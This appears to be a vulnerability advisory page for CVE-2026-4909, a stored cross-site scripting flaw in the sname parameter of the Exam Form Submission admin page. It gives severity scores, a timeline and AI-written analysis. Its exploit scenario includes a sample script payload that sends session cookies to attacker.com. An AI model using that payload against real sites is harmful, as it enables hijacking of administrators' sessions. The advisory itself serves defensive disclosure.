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PHP EUVD-2026-16529

| CVE-2026-4909 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-03-27 VulDB
1.9
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
1.9 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
P
Scope
X

Lifecycle Timeline

6
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
4.8 (MEDIUM) 1.9 (LOW)
PoC Detected
Mar 30, 2026 - 13:26 vuln.today
Public exploit code
EUVD ID Assigned
Mar 27, 2026 - 02:45 euvd
EUVD-2026-16529
Analysis Generated
Mar 27, 2026 - 02:45 vuln.today
CVE Published
Mar 27, 2026 - 02:25 nvd
MEDIUM 4.8

DescriptionCVE.org

A weakness has been identified in code-projects Exam Form Submission 1.0/7.php. This impacts an unknown function of the file /admin/update_s7.php. This manipulation of the argument sname causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.

AnalysisAI

Stored cross-site scripting (XSS) in code-projects Exam Form Submission 1.0 allows authenticated remote attackers to inject malicious scripts via the sname parameter in /admin/update_s7.php, potentially compromising administrator sessions and enabling unauthorized actions. Publicly available exploit code exists for this vulnerability, though it requires high-privilege authentication to trigger. …

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Vulnerability AssessmentAI

Risk Assessment The CVSS vector (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N/E:P/RL:X/RC:R) indicates: remote attack surface (AV:N), low attack complexity (AC:L), but high privilege requirement (PR:H), requiring user interaction (UI:R), and scoped to the current user context (S:U). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with administrative credentials (or who has compromised an admin account) crafts a malicious URL containing JavaScript in the sname parameter-for example, /admin/update_s7.php?sname=<script>fetch('attacker.com/steal?cookie='+document.cookie)</script>. When a second administrator visits this link (via phishing email or forum post), the payload executes in their browser context, potentially exfiltrating session cookies or performing unauthorized exam form modifications. …
Remediation No vendor-released patch version is identified at time of analysis; contact code-projects directly via https://code-projects.org/ to request a security update addressing CWE-79 input validation. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …

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EUVD-2026-16529 vulnerability details – vuln.today

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